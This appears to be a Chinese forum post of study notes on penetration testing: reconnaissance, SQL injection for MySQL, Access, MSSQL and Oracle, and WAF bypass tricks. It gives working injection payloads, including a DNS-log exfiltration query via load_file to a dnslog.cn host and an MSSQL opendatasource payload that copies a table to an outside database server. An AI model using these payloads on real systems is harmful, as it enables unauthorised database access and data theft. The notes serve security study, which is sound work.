知识点归纳(未完结,现有信息收集篇、SQL注入全篇、绕waf姿势)

2741197854   ·   发表于 2022-04-27 17:38:33   ·   学习杂记

知识点归纳


信息收集篇:
渗透测试:
1、whois域名注册的时候留下的信息 可以在网上直接被查到 还可以查到历史whois信息。whois查询网站:站长工具/whois.com

    2、通过企查查,小蓝本,天眼查等企业查询工具来查一些敏感信息

    3、子域名查询 (可以扩大攻击面)
            域名:顶级域名、二级域名、三级域名
            相同顶级域名的域名就是子域名
        (证书查询):证书查询只适用于HTTPS网站  HTTP/HTTPS(更安全,有一个加密)相同网站的子域名会用同一个证书 证书查询网站:https://crt.sh
            子域名之间没有什么特殊的关联(属于同一个公司)

    4、端口探测 (nmpa | 搜索引擎)

电脑会开启一些端口,端口会承载一些功能,有一些端口内容可能存在漏洞
如:445(永恒之蓝) 3389(爆破、0708) 6379(redis未授权访问)
有些网站可能没有给域名,之间给了一个端口(8080)
有域名的网站 > 没有域名的网站(纯ip站点)
80端口的网站 > 其他端口的网站(主站防御更强)

    5、网络空间探测引擎(针对网络设备的搜索)fofa 钟馗之眼等

    6、目录扫描 (字典、然后依次拼接访问)
        访问任何一个网站都是在访问某个服务器的某个文件夹
        不同的目录里面完全不同。目录扫描也能找到后台登陆地址或者一些报错信息
        目录扫描时存在风险,可能会把网站扫崩或者被ban,如果ip被封了可以去做个代理

状态码:200正常访问 302跳转 404不存在 403没权限 50x服务器内部错误

    7、指纹识别
        看网站是否是某个CMS框架、一些基础组件是什么
        指纹识别平台:潮汐    云悉    微步

    8、旁站查询:同ip站点就是旁站 (在线工具查询-同ip站点查询)
        同IP站点:1.同服务器    2.同内网(内网渗透、内网防御性比较差)

    9、c段扫描:如xxx.xxx.xxx.1-255为同一c段
    有的公司有钱,买ip的时候会一次性买断同一个段的ip



    10、内容敏感信息泄露:(低危漏洞:敏感信息泄露漏洞)
        敏感信息:客户信息  网站的敏感信息:路径、数据账号密码
        谷歌语法:利用谷歌搜索引擎去找敏感信息
            filetype:      指定文件类型
            site:        指定域名
            inurl:        指定url
            intitle:          指定title


子域名探测:

1、 https证书查询法
2、 搜索引擎 查询法
3、 旁站
4、 子域名扫描(爆破DNS服务器)【工具:挖掘机 | lijiejie的sub】
5、 IP反查域名

端口探测工具:nmap
-p

- 指定端口扫描

—v

- 显示扫描过程

-Pn

- 跳过主机发现过程直接端口扫描 [目标禁ping时]

-O

- 探测主机操作系统

-A

- 全面扫描,包括一切探测

SQL注入篇:

  1. SQL注入的本质是什么?
    把用户输入的值当作代码执行

  2. SQL注入的条件
    用户传参可控,用户传参可被拼接到程序原本的SQL语句中且能被执行

  3. 输出位是什么?
    SQL查询出来的数据不一定会全部输出,页面上只会输出其中几个字段的信息,那么会被输出的字段就是输出位

  4. % 23的作用
    %23编码为#,用于注释后面的语句,防止SQL注入点后面的SQL语句对SQL注入进行干扰

  5. mysql系统自带库
    information_schema :mysql系统数据库5.0及以上版本的自带库,记录了mysql数据库下所有的数据库名、表名、字段名
    information_schema.tables:记录所有表名信息的表
    information_schema.columns:记录字段名信息的表
    table_name (表名)
    column_name(字段名)
    table_schema(数据库名)

SQL注入-显错注入
利用SQL注入拼接sql语句,将报错信息输出时同时将我们想要的信息输出
如:通过order by函数来判断字段,再通过联合查询函数union select 来进行注入

SQL注入——POST注入
POST注入和普通注入一样,只是通过POST传参提交数据,在提交的数据中进行注入
POST注入一般出现在登录框,查询框等各种各样的框
head头注入原理
利用了php的全局变量$_server获取用户的相关信息且将数据存入数据库,利用updatexml函数输入sql语句,返回信息
sqmap跑POST通过-r参数指点数据包

SQL注入-HEAD注入
用户与网页交互成功时网页数据库会记录访问用户的基础数据(请求头),Head注入的核心就在于通过修改请求头的方法,将原本的用户基础信息修改成数据库代码,使数据库执行该指令

  1. updatexml在head注入中的作用
    updatexml实际上是一个报错注入,因为路径不存在所以报错了。但是因为数据库先执行子查询,所以报错的信息中有查询出来的信息会被当作报错处理

报错注入的原理:
利用SQL注入拼接sql语句,将报错信息输出时同时将我们想要的信息输出
如:updatexml(目标xml内容,xml文档路径,更新的内容)
路径不能出现特殊字符 ~ !#
updatexml(1,’!123’,1)
concat() 拼接字符串
updatexml(1,concat(‘!’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)

    ps:报错的结果一定是个字符串

2.head注入时需要把原有的head头信息删除吗
不是必须删除的,但是建议删除,因为删除了可防止干扰

  1. post注入和head注入的区别
    POST注入的注入点再POST传参,HEAD注入的注入点在头信息

  2. 如何防范post和head注入
    对传入参数进行过滤,增加检测种类,加个waf或者用正则过滤危险字符

  3. head注入中只能靠updatexml传输吗
    不一定,这只是一个报错注入的函数而已

  4. head注入利用点
    user-agent | ip | Referer | X-Forwarded-For

  5. HEAD注入SQLMAP怎么跑
    利用—level 来指定等级,大于3就会检测请求头和cookie

  6. X-Forwarder-FOR究竟是什么
    它是一种特殊的请求头,因为当今多数缓存服务器的用户为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务来接入互联网。但是如果要获取用户的ip的时候,我们就必须通过X-Forwarded-FOR 去获取,而不能直接通过$_SERVER[“REMOTE_ADDR”] 获取。

SQL注入-盲注
有时候目标存在注入,但是在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注

盲注分为布尔盲注和时间盲注
布尔盲注:存在布尔盲注时,页面的回显只会返回true和false,没有显错注入那种报错信息
时间盲注:时间盲注页面返回值只有一种true,无论输出何值,只会返回一样的页面。加入特定的时间函数,根据页面返回的时间差来判断注入

盲注常用函数:
if(expr1,expr2,expr3) 判断语句,如果expr1成立运行expr2,不成立运行expr3
ascii() 解析字符编码
substr(1,1,1) 截取字符串1中的第1个字符的1位
length() 判断字符串长度
sleep() 休眠函数
魔术引号函数为magic_quotes_gpc

SQL注入-宽字节注入
低版本的PHP中存在一个魔术引号函数magic_quotes_gpc,他只会处理GET,POST,COOKIE传参,并且检测用户传参中是否存在如‘ “这种特殊符号,如果存在就会自动加一个转义符
因为我国使用gbk编码而转义符在GET传参时会进行一个gbk编码,编码为%5c。
而好巧不巧的我国的gbk编码是双字符编码
所以通过gbk编码使\转换为5c搭配上其他的gbk编码组成一个汉字放在注入语句中使其无效化,例如%df\会被组成汉字:“运

  1. 宽字节注入过滤原理
    PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字。然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸出来了

  2. 宽字节注入绕过原理
    已知我们的提交数据会被加入\,\的编码为%5c,我们在后面加上%df后变成了%df%5c,变成一个新的汉字,变成了一个有多个字节的字符。因为用了gbk编码,使这个为yig 两字节绕过了单引号闭合,逃逸了转义

  3. 宽字节注入就是报错注入吗
    不是,宽字节注入适用于所有场景

  4. 宽字节只发生在gbk编码上吗?
    不,只要PHP的编码格式和数据库的编码格式不同,特别是字符不同的编码就可能存在

  5. 当程序员设置数据库和PHP编码相同还会有宽字节注入吗
    不会,宽字节要基于这两个不同才能实现,PHP utf-8编码 数据库GBK编码

  1. 如果存在魔术引号,但是没有宽字节注入,还有方法吗?
    如果是head注入就不会受影响

数据库注入
Access数据库,与MySQL的区别是他只有一个库,所以不存在information_schema以及tables,columns,且有些语句与mysql数据库的语句有一点区别

Access注入-cookie注入
在PHP代码中经常会使用$_REQUEST[]来接受POST,GET,COOKIE传参,而cookie注入就是通过对cookie部分的内容进行篡改来打到注入目的

需要注意的是在PHP5.4版本以上就不会接受cookie传参

常用函数
document.cookie=”id”=”” 设置cookie传参内容
escape(“”) 进行url编码
exists(selectfrom table_name) 检查子查询是否成功查询到数据从而返回true或者false
document.cookie=”id=” 设置cookie传参内容
document.cookie=”id=”+escape(“”) 对cookie传参进行url编码 + 是拼接符
exists(select
from 表名) 检查子查询是否能查询到数据
select 表. 查询表内所有字段
table.
意义为某某表中所有的字段
top 1 ……. order by 1 desc
top 1 为前一条数据 order by 1 desc 是倒叙排序
如:document.cookie=”id=”+escape(“172 and exists(select a123 from admin)”)
在admin表中查询是否存在字段a123,由于Access没有系统自带库,所以字段名需要爆破出来,表名同理- document.cookie=”id=”+escape(“172 and exists(select*from a123123)”)

Access数据库没有系统自代表,想获取表名,列名只能猜或者爆破

Cookie注入在PHP中也有,但是最多的还是ASP,因为PHP在5.4版本的$_REQUEST就不会接受Cookie传参了

Access注入-偏移注入
偏移注入:在Access注入中,偏移注入的重点在于 table.(表.),利用table.*来查询表中其他的字段,搭配显错位来输出其中的数据

table.* 意义为某某表中所有的字段

admin.* 代表了admin表下所有字段

  1. union 联合查询前为什么要加and1=2
    因为显示的时候有时只能返回第一行的数据,加上and1=2后,使前面的语句报错,前一行就没有输出了,从而显示后一条语句

MySQL注入-DNS注入
利用dns-log(域名解析日志),UNC路径来达到注入目的:在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,这种方法不仅过程十分繁琐,还容易因为数据请求频繁导致被ban。
而DNS注入的优点就在于可以将select到的数据发送给一个unc,利用dns解析产生的记录日志来查看数据

UNC路径
UNC路径是类似\softer这样的形式的网络路径。它符合\servername\sharename格式,servername是服务器名称,sharename是共享资源的名称。
列:\www.qq.com\123 其意义为访问www.qq.com下的123共享文件夹

常用函数:
load_file() 读取文件
into outfile ‘ ‘ 导出文件
concat() 拼接字符串
\XXXXX.com\XXX UNC路径格式
dnslog.cn dns平台,提供与域名以及日志信息

如:1 and load_file(concat(‘//‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’.hqra3u.dnslog.cn/qwe’))
查询表名,将表名拼接// UNC路径格式以及dns平台提供的域名,通过load_file函数让目标网站访问,然后将表名外带出来

  1. DNS是什么
    是一个域名系统,是一项网络服务,她作为将域名和IP地址互相映射的一个分布式数据库,能够使人更方便的访问互联网,DNS注入就是利用了DNS这个通道

  2. load_file函数的使用限制
    返回内容有限制大小,server有接受大小限制,文件必须在服务器上,指定路径要完整,必须有file权限,所有字节可读

MSSQL注入-反弹注入
反弹注入:

依靠opendatasource和insert into函数,同时利用堆叠注入的特性配合union select联合查询函数把目标数据库查询出的数据发送到自己建立在公网上的数据库服务器上
例:
insert into opendatasource(‘sqloledb’,’server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq’).DB_14A5E44_zkaq.dbo.temp select * from admin –
opendatasource(‘sqloledb’,’server=数据库链接,端口;uid=账户名;pwd=密码;database=库名’).库名.dbo.表名
连接外部数据库
sqloledb 连接组件(固定)
dbo 权限为dbo
insert into 插入
1433 MSSQL数据库默认端口

MSSQL注入:
MSSQL数据库联合查询字段时需要确定数据类型
例:union select 1,’a’,null from admin
1 数字类型 a 字符串类型 null 没有数据类型

特殊函数:
sysobjects 系统自带表,查表用
xtype 类型
S系统类型 U用户类型
select id,name from sysobjects where xtype=’U’
查询sysobjects表中的所有用户表的id以及名称
name 字段名
id 表的id
syscolumns 系统自代表,查字段用
select name from syscolumns where id=123
查询syscolumns表中所有id为123的字段

MSSQL数据库没有database() 函数,所以传统的语句用不了。例如:
union select table_name from information_schema.tables where table_schema=database()
正确语句为:union select table_name from information_schema.tables
或:union select id,name from sysobjects where xtype=’U’

Oracle注入-报错注入
Oracle数据库是甲骨文公司的数据库,其功能非常强大,常被用于很多大型企业。其的特点是很死板,非常讲究语法格式,且字符类型非常非常多

Dual 实表(也有人说虚表,是一个固定格式,调用系统函数时需要用到)
列如:select user from Dual 查询用户名
select dbms_random.random from Dual 获取随机值
select 9+1 from dual 加减法

Oracle使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,只是用来构成select的语法规则

Oracle基本查询语句:
selectfrom all_tables 查询所有表
select
from user_tables 查询当前用户的表
selectfrom all_tab_columns 查询所有字段
select
from user_tab_columns 查询当前用户的字段

oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数,rownum并不是用户添加的字段,而是oracle系统自动添加的。 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,而且rownum不能以任何表的名称作为前缀。

如果想找到从第二行记录以后的记录,当使用rownum>2是查不出记录的,原因是由于rownum是一个总是从1开始的伪列,Oracle 认为rownum> n(n>1的自然数)这种条件依旧不成立,所以查不到记录。
想查找到第二行以后的记录可使用子查询方法来解决。注意子查询中的rownum必须要有别名,否则还是不会查出记录来,这是因为rownum不是某个表的列,如果不起别名的话,无法知道rownum是子查询的列还是主查询的列。
例:select * from(select rownum no ,id,name from student) where no>2

报错注入
and 1=ctxsys.drithsx.sn(表名,(查询语句)) 显错函数,因为Oracle格外注重格式,所以需要and 1=;表名可以是不存在的表,如果填存在的表需要加上’’
例如:
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables) where n=2))

字类型转换:
1.varchar转为number,用 to_number(列名):select to_number(t.create_user) from 表名 t;
2.number转为varchar,用 to_char(列名):select to_char(t.user_role_id) from 表名 t;
3.date转为varchar类型,用 to_char(列名,想要的日期格式):
select to_char(t.create_date,’yyyy-mm-dd’) 重点内容from 表名 t
4.varchar类型转date,用 to_date(列名,想要的日期格式):insert into 表名 values(1,’lili’,to_date(‘2012-11-11’,’yyyy-mm-dd’));
5.to_nchar() 将varchar2转为nvarchar2

绕WAF篇
WAF:Web应用防护系统

常见绕过手法:
1、 用其他函数、写法替代
2、 大小写绕过(一些老WAF大小写就能绕过)
3、 替换绕过:有些过滤规则强行删除检测到的代码,然后执行
4、 编码绕过:网站因为功能需要有编解码。然后因为WAF不认识编码后的值然后绕过
5、 注释绕过:WAF有的时候会认为注释后的东西是安全的。然后可以尝试hpp
id=1/order by 1&id=1 and sleep(1) — qwe/
//注释符waf有时候不检测注释内的内容 url读取信息读到&会认为前面的已经结束了,然后开始执行后面的语句
6、 白名单绕过:本地访问可能不拦截,管理员权限,文件白名单(index.php/1.txt?id=1 and 1=1)
7、 垃圾数据填充:写一大堆数据,然后传参。WAF只检测其中一部分
常见替代:空格替代:+(+是URL编码)或者是/
/ sleep/**/()代替’sleep’()

sqlmap绕waf
脚本使用指南网址:webshell.cc/7162.html

打赏我,让我更有动力~

1 条回复   |  直到 2022-4-29 | 1321 次浏览

喜欢悠哉独自在
发表于 2022-4-29

加油

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.